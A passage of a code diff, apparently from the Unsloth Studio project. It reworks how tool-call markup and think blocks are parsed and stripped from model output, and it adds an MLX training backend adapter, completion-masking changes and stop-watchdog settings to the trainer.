+                            "type": "function",
+                            "function": {
+                                "name": item.get("name", ""),
+                                # A bare scalar string stays raw (like the <tool_call> path);
+                                # json.dumps would double-encode it so the arg healer wraps
+                                # "weather" with its literal quotes.
+                                "arguments": args if isinstance(args, str) else json.dumps(args),
+                            },
+                        }
                     )
-                    val = body[val_start:next_param]
-                    if not allow_incomplete:
-                        stripped_val = val.rstrip()
-                        if not stripped_val.endswith(_PARAM_CLOSE_TAG):
-                            valid_params = False
-                            break
-                        val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
-                    else:
-                        val = _TC_PARAM_CLOSE_RE.sub("", val)
-                    arguments[param_name] = val.strip()
-                if not valid_params:
+                    item_end = item_ends[item_idx] if item_idx < len(item_ends) else region_end
+                    last_span_idx = len(call_spans)
+                    call_spans.append((tile_start, item_end))
+                    tile_start = item_end
+                if last_span_idx >= 0:
+                    tile_start, _tile_end = call_spans[last_span_idx]
+                    call_spans[last_span_idx] = (tile_start, region_end)
+            else:
+                try:
+                    payload = json.loads(content[m.end() : end])
+                except (json.JSONDecodeError, ValueError):
                     continue
+                if not isinstance(payload, dict):
+                    continue
+                tool_calls.append(
+                    {
+                        "id": f"call_{id_offset + len(tool_calls)}",
+                        "type": "function",
+                        "function": {
+                            "name": m.group(1),
+                            "arguments": json.dumps(payload),
+                        },
+                    }
+                )
+                call_spans.append((start, region_end))
 
-            tc = {
-                "id": f"call_{id_offset + len(tool_calls)}",
-                "type": "function",
-                "function": {
-                    "name": func_name,
-                    "arguments": json.dumps(arguments),
-                },
-            }
-            tool_calls.append(tc)
+    if with_spans:
+        return tool_calls, call_spans
     return tool_calls
 
 
-def strip_tool_call_markup(text: str, *, final: bool = False) -> str:
+def _strip_bracket_tag_calls(text: str, enabled_tool_names = None) -> str:
+    """Strip complete [TOOL_CALLS] arrays / name / bare name[ARGS]{..} calls with one
+    balanced forward scan, so nested JSON args are removed whole (a fixed-depth regex
+    left two-level args behind). Truncated tails go to the caller's catch-all. Linear.
+    ``enabled_tool_names`` gates the rehearsal form (inactive-name prose kept; None
+    strips every span)."""
+    if len(text) > _MAX_BRACKET_SCAN_CHARS:
+        return text
+    out: list[str] = []
+    cursor = 0
+    for start, end, _kind, _m in _iter_bracket_spans(text, enabled_tool_names = enabled_tool_names):
+        out.append(text[cursor:start])
+        cursor = end
+    out.append(text[cursor:])
+    return "".join(out)
+
+
+def _tool_call_markup_spans(text: str) -> list[tuple[int, int]]:
+    """Spans of tool-call markup, so a literal <think>/[THINK] inside a call's args is
+    stripped WITH the call, not kept as a reasoning block. Covers closed XML/bracket
+    calls and an unclosed XML call (run via allow_incomplete); without the open-ended
+    span the unclosed call's markup would leak after execution."""
+    # Skip a lazy closed-pair pattern whose close token is absent: its finditer would rescan
+    # to EOF from every opener (quadratic on a stream of unclosed openers).
+    spans = [
+        m.span()
+        for pat in _TOOL_CLOSED_PATS
+        if (_PAT_REQUIRED_TOKEN.get(pat) is None or _PAT_REQUIRED_TOKEN[pat] in text)
+        for m in pat.finditer(text)
+    ]
+    spans.extend((start, end) for start, end, _kind, _m in _iter_bracket_spans(text))
+    # An unclosed opener is a real incomplete call only outside closed/bracket spans.
+    for pat in _TOOL_OPEN_XML_TAIL_PATS:
+        for m in pat.finditer(text):
+            if not any(s <= m.start() < e for s, e in spans):
+                spans.append(m.span())
+    return spans
+
+
+def _think_spans_outside_tool_markup(text: str) -> list[tuple[int, int]]:
+    """<think>/[THINK] block spans, minus any whose opening marker sits INSIDE a
+    tool-call span (that tag is argument data, not reasoning). Keeping it would drop a
+    real call after it as rehearsed and leak the call's markup. START tested only, so
+    a greedy unclosed <think> past the call is still that call's argument data."""
+    think_spans = [m.span() for m in _THINK_TAG_RE.finditer(text)]
+    call_spans = _tool_call_markup_spans(text)
+    # Prefilled reasoning: the template opens <think> in the prompt, so add a leading span
+    # (0..close) to skip calls rehearsed there; guarded so a stray close in a normal answer is safe.
+    close = _THINK_CLOSE_RE.search(text)
+    if close is not None:
+        opener = _THINK_OPEN_RE.search(text)
+        if (
+            (opener is None or close.start() < opener.start())
+            and not any(cs <= close.start() < ce for cs, ce in call_spans)
+            and any(cs >= close.end() for cs, ce in call_spans)
+        ):
+            think_spans = [(0, close.end())] + think_spans
+    if not think_spans:
+        return think_spans
+    if not call_spans:
+        return think_spans
+    return [(s, e) for (s, e) in think_spans if not any(cs <= s < ce for cs, ce in call_spans)]
+
+
+def strip_outside_think(text: str, strip_segment) -> str:
+    """Apply ``strip_segment(segment, is_last)`` to visible text around <think>/[THINK]
+    blocks, preserving the blocks verbatim (tool-looking text inside is rehearsal).
+    ``is_last`` is True only after the final block, so trailing-tail patterns apply
+    only there. Shared by every strip path so they stay consistent."""
+    # A think marker opening inside a complete call is argument text; excluding it lets the
+    # stripper see the whole call. START-tested, so an unclosed match stays argument data.
+    think_spans = _think_spans_outside_tool_markup(text)
+    if not think_spans:
+        return strip_segment(text, True)
+    pieces: list[str] = []
+    prev = 0
+    for s, e in think_spans:
+        pieces.append(strip_segment(text[prev:s], False))
+        pieces.append(text[s:e])
+        prev = e
+    pieces.append(strip_segment(text[prev:], True))
+    return "".join(pieces)
+
+
+def _strip_gemma_native_spans(text: str, *, final: bool) -> str:
+    """Remove complete Gemma-native spans, brace/quote-balanced so a literal
+    ``<tool_call|>`` in a quoted argument cannot truncate the span. An incomplete
+    span is dropped to EOF when ``final``, else kept (still streaming)."""
+    out: list[str] = []
+    cursor = 0
+    for match in _TC_GEMMA_START_RE.finditer(text):
+        start = match.start()
+        if start < cursor:
+            continue
+        brace_end = _balanced_brace_end(text, match.end() - 1, gemma_quotes = True)
+        if brace_end < 0:
+            # Unbalanced: nothing completes from here on. Drop the rest if final,
+            # else keep it; stop either way (rescanning would be quadratic).
+            if final:
+                out.append(text[cursor:start])
+                cursor = len(text)
+            break
+        # Junk between } and <tool_call|> is malformed-call markup: strip through
+        # the close, keep text after it. No close anywhere means stop (linear).
+        close = _TC_GEMMA_END_TAG_RE.search(text, brace_end + 1)
+        if close is None:
+            if final:
+                out.append(text[cursor:start])
+                cursor = len(text)
+            break
+        out.append(text[cursor:start])
+        cursor = close.end()
+    out.append(text[cursor:])
+    return "".join(out)
+
+
+def _gemma_span_ranges(text: str) -> list:
+    """``(start, end)`` of each complete Gemma-native span; same walk as
+    ``_strip_gemma_native_spans`` without stripping."""
+    ranges: list[tuple] = []
+    cursor = 0
+    for match in _TC_GEMMA_START_RE.finditer(text):
+        start = match.start()
+        if start < cursor:
+            continue
+        brace_end = _balanced_brace_end(text, match.end() - 1, gemma_quotes = True)
+        if brace_end < 0:
+            break
+        close = _TC_GEMMA_END_TAG_RE.search(text, brace_end + 1)
+        if close is None:
+            break
+        ranges.append((start, close.end()))
+        cursor = close.end()
+    return ranges
+
+
+def _strip_closed_blocks_outside_gemma(text: str) -> str:
+    """Closed JSON/function pre-pass that skips matches starting inside a complete
+    Gemma span: deleting across the span boundary would mangle the Gemma close and
+    truncate the tail. A skipped match resumes at the covering span's end, so a
+    real function-XML call after the span is still stripped."""
+    ranges = _gemma_span_ranges(text)
+    if not ranges:
+        return strip_tool_patterns(text, _TOOL_CLOSED_BLOCK_PATS)
+    for pat in _TOOL_CLOSED_BLOCK_PATS:
+        token = _PAT_REQUIRED_TOKEN.get(pat)
+        if token is not None and token not in text:
+            continue
+        out: list[str] = []
+        pos = 0
+        while True:
+            m = pat.search(text, pos)
+            if m is None:
+                out.append(text[pos:])
+                break
+            covering = next((r for r in ranges if r[0] <= m.start() < r[1]), None)
+            if covering is not None:
+                out.append(text[pos : covering[1]])
+                pos = covering[1]
+                continue
+            out.append(text[pos : m.start()])
+            pos = m.end()
+        new_text = "".join(out)
+        if new_text != text:
+            text = new_text
+            ranges = _gemma_span_ranges(text)
+    return text
+
+
+def _strip_markup_segment(
+    text: str,
+    *,
+    final: bool,
+    enabled_tool_names = None,
+) -> str:
+    # Bracket-tag calls (Mistral/rehearsal) first via balanced scan (any nesting depth,
+    # rehearsal name-gated); then the quote-aware Gemma-native passes so a literal
+    # <tool_call|> in an argument cannot truncate a block; finally the regex XML/tail sweeps.
+    text = _strip_bracket_tag_calls(text, enabled_tool_names = enabled_tool_names)
+    text = _strip_closed_blocks_outside_gemma(text)
+    text = _strip_gemma_native_spans(text, final = final)
+    patterns = _TOOL_ALL_PATS if final else _TOOL_CLOSED_PATS
+    return apply_tool_strip_patterns(text, patterns, enabled_tool_names = enabled_tool_names)
+
+
+def strip_tool_call_markup(
+    text: str,
+    *,
+    final: bool = False,
+    enabled_tool_names = None,
+) -> str:
     """Strip tool-call XML markup from text.
 
     When ``final`` is False, only fully closed tool-call blocks are removed.
     When ``final`` is True, trailing incomplete tool-call blocks are removed
     too, and the result is stripped of surrounding whitespace.
+
+    ``<think>`` / ``[THINK]`` reasoning is preserved verbatim (see
+    ``strip_outside_think``); the trailing-tail patterns apply only after the
+    last block. ``enabled_tool_names`` keeps an inactive-name ``foo[ARGS]{..}``
+    example visible (it is prose, not a call) so display cleanup matches detection.
     """
-    patterns = _TOOL_ALL_PATS if final else _TOOL_CLOSED_PATS
-    for pat in patterns:
-        text = pat.sub("", text)
-    return text.strip() if final else text
+    result = strip_outside_think(
+        text,
+        lambda seg, is_last: _strip_markup_segment(
+            seg, final = final and is_last, enabled_tool_names = enabled_tool_names
+        ),
+    )
+    return result.strip() if final else result
diff --git a/studio/backend/core/training/trainer.py b/studio/backend/core/training/trainer.py
index 20b2305a5a..883a535a89 100644
--- a/studio/backend/core/training/trainer.py
+++ b/studio/backend/core/training/trainer.py
@@ -11,8 +11,10 @@ import os
 import sys
 import types
 
-# Prevent tokenizer parallelism deadlocks when datasets forks.
-os.environ["TOKENIZERS_PARALLELISM"] = "false"
+# Off on Linux so datasets' forked map() workers can't deadlock. On spawn platforms
+# (Windows/macOS) map() runs in-process, so keep the fast tokenizer's Rust threads on
+# (the only parallelism single-process tokenize gets; off makes prep run serially).
+os.environ["TOKENIZERS_PARALLELISM"] = "true" if sys.platform in ("win32", "darwin") else "false"
 
 # Make compiled cache modules importable by any subprocess. On spawn platforms
 # (Windows/macOS) spawned dataset.map() workers re-import top-level modules, and
@@ -62,7 +64,6 @@ from loggers import get_logger
 import time
 from pathlib import Path
 from typing import Any, Dict, List, Optional, Callable
-from dataclasses import dataclass
 import pandas as pd
 from datasets import Dataset
 from utils.datasets.cache_safe import load_dataset_cache_safe as load_dataset
@@ -71,7 +72,7 @@ from core.inference.llama_cpp import _hf_offline_if_dns_dead
 from utils.models import is_vision_model, detect_audio_type
 from utils.models.model_config import _env_offline
 from utils.datasets import format_and_template_dataset
-from utils.datasets import MODEL_TO_TEMPLATE_MAPPER, TEMPLATE_TO_RESPONSES_MAPPER
+from utils.datasets.completion_masking import apply_completion_masking
 from utils.datasets.iterable import is_streaming_dataset as detect_streaming_dataset
 from utils.datasets.raw_text import prepare_raw_text_dataset, resolve_column_names
 from utils.paths import (
@@ -86,6 +87,11 @@ from utils.native_path_leases import child_env_without_native_path_secret
 from utils.subprocess_compat import (
     windows_hidden_subprocess_kwargs as _windows_hidden_subprocess_kwargs,
 )
+from .training import (
+    TrainingProgress,
+    create_mlx_trainer_adapter,
+    should_use_mlx_training_backend,
+)
 
 logger = get_logger(__name__)
 
@@ -104,31 +110,16 @@ def _build_report_targets(training_args) -> list[str] | str:
     return report_to or "none"
 
 
-@dataclass
-class TrainingProgress:
-    """Training progress tracking"""
-
-    epoch: float = 0
-    step: int = 0
-    total_steps: int = 0
-    loss: Optional[float] = None
-    learning_rate: Optional[float] = None
-    is_training: bool = False
-    is_completed: bool = False
-    error: Optional[str] = None
-    status_message: str = "Ready to train"  # Current stage
-    elapsed_seconds: Optional[float] = None
-    eta_seconds: Optional[float] = None
-    grad_norm: Optional[float] = None
-    num_tokens: Optional[int] = None
-    eval_loss: Optional[float] = None
-
-
 class UnslothTrainer:
     """
     Unsloth Training Backend
     """
 
+    def __new__(cls, *args, **kwargs):
+        if cls is UnslothTrainer and should_use_mlx_training_backend():
+            return create_mlx_trainer_adapter(*args, **kwargs)
+        return super().__new__(cls)
+
     def __init__(self):
         self.model = None
         self.tokenizer = None
@@ -942,7 +933,7 @@ class UnslothTrainer:
                     use_gradient_checkpointing = "unsloth"
                 elif use_gradient_checkpointing in ("true", "1", "yes"):
                     use_gradient_checkpointing = True
-                elif use_gradient_checkpointing in ("false", "0", "no"):
+                elif use_gradient_checkpointing in ("false", "0", "no", "none", "off"):
                     use_gradient_checkpointing = False
                 else:
                     # Invalid value -> "unsloth"
@@ -3466,8 +3457,6 @@ class UnslothTrainer:
 
             # ========== TRAIN ON RESPONSES ONLY ==========
             # Raw-text datasets always train on all tokens.
-            instruction_part = None
-            response_part = None
             is_cpt = training_args.get("is_cpt", False)
             train_on_responses_enabled = (
                 False
@@ -3484,113 +3473,93 @@ class UnslothTrainer:
 
             # DeepSeek OCR handles this internally in its collator, so skip
             # Audio VLM handles label masking in its collator, so skip
+            # Markers auto-detected from the chat template first, manual table
+            # as fallback; gpt-oss stays on its manual markers. See
+            # apply_completion_masking.
             if (
                 train_on_responses_enabled
                 and not self.is_audio_vlm
                 and not self.is_audio
                 and not (is_deepseek_ocr or dataset_final_format == "alpaca")
             ):
-                try:
-                    logger.info("Configuring train on responses only...\n")
+                from unsloth.chat_templates import train_on_responses_only
 
-                    # Template mapping for this model
-                    model_name_lower = self.model_name.lower()
+                logger.info("Configuring train on responses only...\n")
 
-                    if model_name_lower in MODEL_TO_TEMPLATE_MAPPER:
-                        template_name = MODEL_TO_TEMPLATE_MAPPER[model_name_lower]
-                        logger.info(f"Detected template: {template_name}\n")
+                def _notify(level, message):
+                    if level == "warning":
+                        logger.warning(message)
+                    else:
+                        logger.info(f"{message}\n")
 
-                        if template_name in TEMPLATE_TO_RESPONSES_MAPPER:
-                            instruction_part = TEMPLATE_TO_RESPONSES_MAPPER[template_name][
-                                "instruction"
-                            ]
-                            response_part = TEMPLATE_TO_RESPONSES_MAPPER[template_name]["response"]
+                # No try/except: the helper handles detection failures and
+                # double misses itself, so an exception here is a real masking
+                # failure that must fail the run, not silently train on full
+                # sequences.
+                self.trainer, masking_applied = apply_completion_masking(
+                    self.trainer,
+                    self.model_name,
+                    train_on_responses_only,
+                    num_proc = config_args["dataset_num_proc"],
+                    notify = _notify,
+                )
 
-                            logger.info(f"Instruction marker: {instruction_part[:50]}...\n")
-                            logger.info(f"Response marker: {response_part[:50]}...\n")
+                if not masking_applied:
+                    train_on_responses_enabled = False
+
+                if masking_applied:
+                    try:
+                        # ── Safety net: check if all samples were filtered out ──
+                        # train_on_responses_only masks non-response tokens with -100; a
+                        # row becomes all -100 (Unsloth drops it) when the response
+                        # template is not found in the formatted text. Usually a
+                        # dataset/template mismatch (already-formatted data, or 'Train on
+                        # completions' on data that doesn't match the model's chat
+                        # template); only sometimes max_seq_length truncating the response
+                        # away. Skip this len()-based check for streaming.
+                        if detect_streaming_dataset(self.trainer.train_dataset):
+                            logger.info("Skipping post-filter length check for streaming dataset\n")
                         else:
-                            logger.info(
-                                f"No response mapping found for template: {template_name}\n"
+                            filtered_len = len(self.trainer.train_dataset)
+                            original_dataset_obj = (
+                                dataset["dataset"] if isinstance(dataset, dict) else dataset
                             )
-                            train_on_responses_enabled = False
-                    else:
-                        logger.info(f"No template mapping found for model: {self.model_name}\n")
-                        train_on_responses_enabled = False
-
-                except Exception as e:
-                    logger.warning(f"Could not configure train on responses: {e}")
-                    train_on_responses_enabled = False
-
-            # Apply train on responses only if we have valid parts
-            if (
-                train_on_responses_enabled
-                and instruction_part
-                and response_part
-                and not self.is_audio_vlm
-                and not self.is_audio
-                and not (is_deepseek_ocr or dataset_final_format == "alpaca")
-            ):
-                try:
-                    from unsloth.chat_templates import train_on_responses_only
-
-                    self.trainer = train_on_responses_only(
-                        self.trainer,
-                        instruction_part = instruction_part,
-                        response_part = response_part,
-                        num_proc = config_args["dataset_num_proc"],
-                    )
-                    logger.info("Train on responses only configured successfully\n")
-
-                    # ── Safety net: check if all samples were filtered out ──
-                    # train_on_responses_only masks non-response tokens with -100;
-                    # a row becomes all -100 (and Unsloth drops it) when the response
-                    # template is not found in the formatted text. That is usually a
-                    # dataset/template mismatch (already-formatted data, or 'Train on
-                    # completions' applied to data that doesn't match the model's chat
-                    # template), and only sometimes max_seq_length truncating the
-                    # response away. Skip this len()-based check for streaming.
-                    if detect_streaming_dataset(self.trainer.train_dataset):
-                        logger.info("Skipping post-filter length check for streaming dataset\n")
-                    else:
-                        filtered_len = len(self.trainer.train_dataset)
-                        original_dataset_obj = (
-                            dataset["dataset"] if isinstance(dataset, dict) else dataset
-                        )
-                        original_len = len(original_dataset_obj)
-                        dropped = original_len - filtered_len
-                        drop_pct = round(100 * dropped / original_len, 1) if original_len > 0 else 0
-
-                        if filtered_len == 0 or drop_pct > 30:
-                            max_seq = training_args.get("max_seq_length", 2048)
-                            error_msg = (
-                                f"{dropped}/{original_len} samples ({drop_pct}%) were "
-                                f"dropped after applying 'Train on completions': after "
-                                f"masking, those rows had no trainable response tokens "
-                                f"left. The usual cause is that this model's response "
-                                f"template was not found in the formatted samples, so "
-                                f"every token was masked out. That typically means the "
-                                f"dataset is already formatted, or its structure does "
-                                f"not match the model's chat template, so 'Train on "
-                                f"completions' should be turned off for this dataset. "
-                                f"Less commonly, a max_seq_length ({max_seq}) shorter "
-                                f"than the prompt can truncate the response away; only "
-                                f"raise it if your samples are actually longer than that."
+                            original_len = len(original_dataset_obj)
+                            dropped = original_len - filtered_len
+                            drop_pct = (
+                                round(100 * dropped / original_len, 1) if original_len > 0 else 0
                             )
-                            logger.error(error_msg)
-                            self._update_progress(error = error_msg, is_training = False)
-                            return
 
-                        if dropped > 0:
-                            logger.info(
-                                f"⚠️ {dropped}/{original_len} samples "
-                                f"({drop_pct}%) were dropped (all labels "
-                                f"masked). {filtered_len} samples remain.\n"
-                            )
-                        logger.info(f"Post-filter dataset size: {filtered_len} samples\n")
+                            if filtered_len == 0 or drop_pct > 30:
+                                max_seq = training_args.get("max_seq_length", 2048)
+                                error_msg = (
+                                    f"{dropped}/{original_len} samples ({drop_pct}%) were "
+                                    f"dropped after applying 'Train on completions': after "
+                                    f"masking, those rows had no trainable response tokens "
+                                    f"left. The usual cause is that this model's response "
+                                    f"template was not found in the formatted samples, so "
+                                    f"every token was masked out. That typically means the "
+                                    f"dataset is already formatted, or its structure does "
+                                    f"not match the model's chat template, so 'Train on "
+                                    f"completions' should be turned off for this dataset. "
+                                    f"Less commonly, a max_seq_length ({max_seq}) shorter "
+                                    f"than the prompt can truncate the response away; only "
+                                    f"raise it if your samples are actually longer than that."
+                                )
+                                logger.error(error_msg)
+                                self._update_progress(error = error_msg, is_training = False)
+                                return
 
-                except Exception as e:
-                    logger.warning(f"Failed to apply train on responses only: {e}")
-                    train_on_responses_enabled = False
+                            if dropped > 0:
+                                logger.info(
+                                    f"⚠️ {dropped}/{original_len} samples "
+                                    f"({drop_pct}%) were dropped (all labels "
+                                    f"masked). {filtered_len} samples remain.\n"
+                                )
+                            logger.info(f"Post-filter dataset size: {filtered_len} samples\n")
+
+                    except Exception as e:
+                        logger.warning(f"Post-masking dataset size check failed: {e}")
             else:
                 if train_on_responses_enabled and is_deepseek_ocr:
                     logger.info("Train on responses handled by DeepSeek OCR collator\n")
diff --git a/studio/backend/core/training/training.py b/studio/backend/core/training/training.py
index f4233fcf04..38f6b92f6d 100644
--- a/studio/backend/core/training/training.py
+++ b/studio/backend/core/training/training.py
@@ -14,17 +14,19 @@ import json as _json
 import math
 import multiprocessing as mp
 import os
+import platform
 import queue
 import re
 import shutil
 import threading
 import time
+import traceback
 import structlog
 from datetime import datetime, timezone
 from loggers import get_logger
-from dataclasses import dataclass, field
+from dataclasses import dataclass, field, replace
 from pathlib import Path
-from typing import Optional, Tuple, Any, TYPE_CHECKING
+from typing import Optional, Tuple, Any, Callable, Union, TYPE_CHECKING
 
 if TYPE_CHECKING:
     import matplotlib.pyplot as plt
@@ -37,6 +39,27 @@ from utils.paths import outputs_root
 
 logger = get_logger(__name__)
 
+
+def _env_int(name: str, default: int) -> int:
+    try:
+        raw = (os.environ.get(name) or "").strip()
+        return int(raw) if raw else default
+    except ValueError:
+        return default
+
+
+# Stop-watchdog escalation timeouts. Primary trigger: a short grace once "complete"
+# (save done). Absolute cap is a backstop: long for save=True so a slow save is never
+# killed mid-write, shorter for a cancel that has nothing to save.
+_STOP_GRACE_S = _env_int("UNSLOTH_STUDIO_TRAINING_STOP_GRACE_S", 15)
+_STOP_TIMEOUT_S = _env_int("UNSLOTH_STUDIO_TRAINING_STOP_TIMEOUT_S", 600)
+_CANCEL_TIMEOUT_S = _env_int("UNSLOTH_STUDIO_TRAINING_CANCEL_TIMEOUT_S", 120)
+
+# Watchdog DB finalize: a few short retries so a transient SQLite lock doesn't lose the
+# terminal state, since the watchdog is the sole finalizer once _proc is dropped.
+_DB_FINALIZE_RETRIES = 3
+_DB_FINALIZE_RETRY_S = 0.5
+
 _pyplot = None
 _pyplot_failed = False
 
@@ -98,6 +121,107 @@ def _coerce_optional_nonneg_float(name: str, value):
     return coerced
 
 
+def is_apple_silicon_training_platform() -> bool:
+    return platform.system() == "Darwin" and platform.machine() == "arm64"
+
+
+def is_mlx_training_device(device: Any) -> bool:
+    return (
+        str(device).lower() == "mlx"
+        or str(device).lower().endswith(".mlx")
+        or getattr(device, "name", "").lower() == "mlx"
+    )
+
+
+def should_use_mlx_training_backend(*, device: Optional[Any] = None) -> bool:
+    if device is not None:
+        return is_mlx_training_device(device)
+    return is_apple_silicon_training_platform()
+
+
+def _build_training_worker_config(values: dict[str, Any]) -> dict[str, Any]:
+    """Build the normalized worker config shared by Studio and the CLI adapter."""
+    config = {
+        "model_name": values["model_name"],
+        "project_name": values.get("project_name"),
+        "training_type": values.get("training_type", "LoRA/QLoRA"),
+        "hf_token": values.get("hf_token", ""),
+        "load_in_4bit": values.get("load_in_4bit", True),
+        "max_seq_length": values.get("max_seq_length", 2048),
+        "vision_image_size": values.get("vision_image_size"),
+        "hf_dataset": values.get("hf_dataset", ""),
+        "local_datasets": values.get("local_datasets"),
+        "local_eval_datasets": values.get("local_eval_datasets"),
+        "format_type": values.get("format_type", ""),
+        "subset": values.get("subset"),
+        "train_split": values.get("train_split", "train"),
+        "eval_split": values.get("eval_split"),
+        "eval_steps": values.get("eval_steps", 0.00),
+        "dataset_streaming": values.get("dataset_streaming", False),
+        "dataset_slice_start": values.get("dataset_slice_start"),
+        "dataset_slice_end": values.get("dataset_slice_end"),
+        "custom_format_mapping": values.get("custom_format_mapping"),
+        "is_dataset_image": values.get("is_dataset_image", False),
+        "is_dataset_audio": values.get("is_dataset_audio", False),
+        "is_embedding": values.get("is_embedding", False),
+        "num_epochs": values.get("num_epochs", 3),
+        "learning_rate": values.get("learning_rate", "2e-4"),
+        "embedding_learning_rate": values.get("embedding_learning_rate"),
+        "batch_size": values.get("batch_size", 2),
+        "gradient_accumulation_steps": values.get("gradient_accumulation_steps", 4),
+        "warmup_steps": values.get("warmup_steps"),
+        "warmup_ratio": values.get("warmup_ratio"),
+        "max_steps": values.get("max_steps", 0),
+        "save_steps": values.get("save_steps", 0),
+        "weight_decay": values.get("weight_decay", 0.001),
+        "max_grad_norm": values.get("max_grad_norm", 0.0),
+        "max_grad_value": _coerce_optional_nonneg_float(
+            "max_grad_value", values.get("max_grad_value")
+        ),
+        "max_grad_leaf_norm": _coerce_optional_nonneg_float(
+            "max_grad_leaf_norm", values.get("max_grad_leaf_norm")
+        ),
+        "cast_norm_output_to_input_dtype": _coerce_optional_bool(
+            values.get("cast_norm_output_to_input_dtype"), True
+        ),
+        "random_seed": _coerce_seed(values.get("random_seed")),
+        "packing": values.get("packing", False),
+        "optim": values.get("optim", "adamw_8bit"),
+        "lr_scheduler_type": values.get("lr_scheduler_type", "linear"),
+        "use_lora": values.get("use_lora", True),
+        "lora_r": values.get("lora_r", 16),
+        "lora_alpha": values.get("lora_alpha", 16),
+        "lora_dropout": values.get("lora_dropout", 0.0),
+        "target_modules": values.get("target_modules"),
+        "gradient_checkpointing": values.get("gradient_checkpointing", "unsloth"),
+        "use_rslora": values.get("use_rslora", False),
+        "use_loftq": values.get("use_loftq", False),
+        "train_on_completions": values.get("train_on_completions", False),
+        "finetune_vision_layers": values.get("finetune_vision_layers", True),
+        "finetune_language_layers": values.get("finetune_language_layers", True),
+        "finetune_attention_modules": values.get("finetune_attention_modules", True),
+        "finetune_mlp_modules": values.get("finetune_mlp_modules", True),
+        "enable_wandb": values.get("enable_wandb", False),
+        "wandb_token": values.get("wandb_token"),
+        "wandb_project": values.get("wandb_project", "unsloth-training"),
+        "enable_tensorboard": values.get("enable_tensorboard", False),
+        "tensorboard_dir": values.get("tensorboard_dir", "runs"),
+        "resume_from_checkpoint": values.get("resume_from_checkpoint"),
+        "trust_remote_code": values.get("trust_remote_code", False),
+        "approved_remote_code_fingerprint": values.get("approved_remote_code_fingerprint"),
+        "subject": values.get("subject"),
+        "gpu_ids": values.get("gpu_ids"),
+        "s3_config": values.get("s3_config"),
+        "disable_xet": values.get("disable_xet", False),
+    }
+    for key in ("output_dir", "allow_external_output_dir"):
+        if key in values:
+            config[key] = values.get(key)
+    if config["training_type"] == "Full Finetuning":
+        config["load_in_4bit"] = False
+    return config
+
+
 _HF_TMP_CHECKPOINT_RE = re.compile(r"^tmp-checkpoint-\d+$")
 
 
@@ -133,7 +257,7 @@ def _s3_dataset_name(s3_dataset: Any) -> Optional[str]:
     return f"s3://{bucket}/{prefix}" if prefix else f"s3://{bucket}"
 
 
-def _cleanup_cancelled_checkpoints(output_dir: str | os.PathLike) -> None:
+def _cleanup_cancelled_checkpoints(output_dir: Union[str, os.PathLike]) -> None:
     """Remove only HF Trainer ``tmp-checkpoint-<step>/`` partials after a cancel.
 
     Completed ``checkpoint-<int>/`` dirs survive. Symlinked output_dir / children
@@ -183,7 +307,7 @@ PLOT_HEIGHT = 3.5
 
 @dataclass
 class TrainingProgress:
-    """Mirror of trainer.TrainingProgress so the parent never imports heavy ML modules."""
+    """Shared training progress payload for Studio and backend-aware trainers."""
 
     epoch: float = 0
     step: int = 0
@@ -200,6 +324,423 @@ class TrainingProgress:
     num_tokens: Optional[int] = None
     eval_loss: Optional[float] = None
     peak_memory_gb: Optional[float] = None
+    output_dir: Optional[str] = None
+
+
+class _MLXTrainerAdapter:
+    """Adapts the legacy UnslothTrainer API to the shared Studio MLX worker path."""
+
+    def __init__(self):
+        self.model = None
+        self.tokenizer = None
+        self.trainer = None
+        self.training_thread = None
+        self.training_progress = TrainingProgress()
+        self.progress_callbacks: list[Callable[[TrainingProgress], None]] = []
+        self.is_training = False
+        self.should_stop = False
+        self.save_on_stop = True
+        self.load_in_4bit = True
+        self.output_dir = None
+
+        self.is_cpt = False
+        self.is_vlm = False
+        self.is_audio = False
+        self.is_audio_vlm = False
+        self.model_name = None
+        self.max_seq_length = None
+
+        self._model_config: dict[str, Any] = {}
+        self._peft_config: dict[str, Any] = {}
+        self._dataset_config: dict[str, Any] = {}
+        self._event_queue: Optional[queue.Queue] = None
+        self._stop_queue: Optional[queue.Queue] = None
+        self._pump_thread: Optional[threading.Thread] = None
+        self._lock = threading.Lock()
+
+    def _activate_transformers_for_model(self, model_name: str, hf_token: Optional[str]) -> None:
+        try:
+            from utils.transformers_version import activate_transformers_for_subprocess
+            activate_transformers_for_subprocess(model_name, hf_token)
+        except Exception as exc:
+            logger.warning("MLX trainer adapter Transformers activation failed", error = str(exc))
+
+    def add_progress_callback(self, callback: Callable[[TrainingProgress], None]):
+        self.progress_callbacks.append(callback)
+
+    def _update_progress(self, **kwargs):
+        with self._lock:
+            for key, value in kwargs.items():
+                if hasattr(self.training_progress, key):
+                    setattr(self.training_progress, key, value)
+            progress = self.training_progress
+        for callback in self.progress_callbacks:
+            try:
+                callback(progress)
+            except Exception:
+                pass
+
+    def load_model(
+        self,
+        model_name: str,
+        max_seq_length: int = 2048,
+        load_in_4bit: bool = True,
+        hf_token: Optional[str] = None,
+        is_dataset_image: bool = False,
+        is_dataset_audio: bool = False,
+        trust_remote_code: bool = False,
+        full_finetuning: bool = False,
+        gpu_ids: Optional[list[int]] = None,
+    ) -> bool:
+        self.model_name = model_name
+        self.max_seq_length = max_seq_length
+        self.load_in_4bit = load_in_4bit
+        self._audio_type = None
+        self._activate_transformers_for_model(model_name, hf_token)
+        try:
+            from utils.models import detect_audio_type, is_vision_model
+
+            self._audio_type = detect_audio_type(model_name, hf_token)
+            if self._audio_type == "audio_vlm":
+                self.is_audio = False
+                self.is_audio_vlm = bool(is_dataset_audio)
+                self._audio_type = None
+            else:
+                self.is_audio = self._audio_type is not None
+                self.is_audio_vlm = False
+            vision = is_vision_model(model_name, hf_token = hf_token) if not self.is_audio else False
+            self.is_vlm = not self.is_audio_vlm and vision and bool(is_dataset_image)
+        except Exception as exc:
+            logger.warning("MLX trainer adapter model type detection failed", error = str(exc))
+            self.is_vlm = False
+            self.is_audio = False
+            self.is_audio_vlm = False
+        self.model = object()
+        self.tokenizer = object()
+        self._model_config = {
+            "model_name": model_name,
+            "max_seq_length": max_seq_length,
+            "load_in_4bit": load_in_4bit,
+            "hf_token": hf_token or "",
+            "is_dataset_image": bool(is_dataset_image),
+            "is_dataset_audio": bool(is_dataset_audio),
+            "trust_remote_code": bool(trust_remote_code),
+            "gpu_ids": gpu_ids,
+        }
+        self._update_progress(
+            is_training = False,
+            is_completed = False,
+            error = None,
+            step = 0,
+            loss = 0.0,
+            epoch = 0,
+            status_message = f"Queued MLX model load: {model_name}",
+        )
+        return True
+
+    def prepare_model_for_training(
+        self,
+        use_lora: bool = True,
+        finetune_vision_layers: bool = True,
